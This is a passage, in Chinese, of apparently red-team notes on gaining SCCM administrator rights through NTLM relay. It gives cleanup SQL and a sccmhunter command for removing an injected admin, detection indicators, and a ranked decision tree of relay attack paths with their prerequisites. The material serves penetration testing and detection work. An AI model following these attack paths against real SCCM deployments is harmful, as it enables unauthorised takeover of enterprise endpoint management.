- AdminService 默认拒绝 NTLM 认证
- 需使用 Kerberos 或 MSSQL 路径绕过
- MSSQL relay 路径不受此限制
清理建议
-- 移除注入的管理员 (MSSQL)
DELETE FROM RBAC_ExtendedPermissions WHERE AdminID = (
SELECT AdminID FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER'
);
DELETE FROM RBAC_Admins WHERE LogonName = '$DOMAIN\$USER';# sccmhunter 移除管理员
remove_admin $DOMAIN\\$USER检测指标
| 指标 | 说明 |
|---|---|
| RBAC_Admins 表异常插入 | SQL 审计日志 |
| AdminService POST SMS_Admin | IIS 日志 / HTTP 审计 |
| 异常应用部署 | SCCM 状态消息 |
| Client Push 到非预期目标 | SCCM 组件日志 |
| 新设备注册突增 | MP 日志 (MP_RegistrationManager.log) |
攻击路径选择
目标: 获取 SCCM 管理员
│
├─ 首选: MSSQL relay (适用范围最广)
│ └─ 需要: 可触发站点服务器 NTLM + MSSQL 不要求签名
│
├─ 次选: AdminService relay (操作简单)
│ └─ 限制: ConfigMgr 2509+ 不可用
│
├─ 备选: Passive → Active relay
│ └─ 需要: 高可用配置环境
│
└─ 最后: Client Push relay
└─ 需要: 已启用自动客户端推送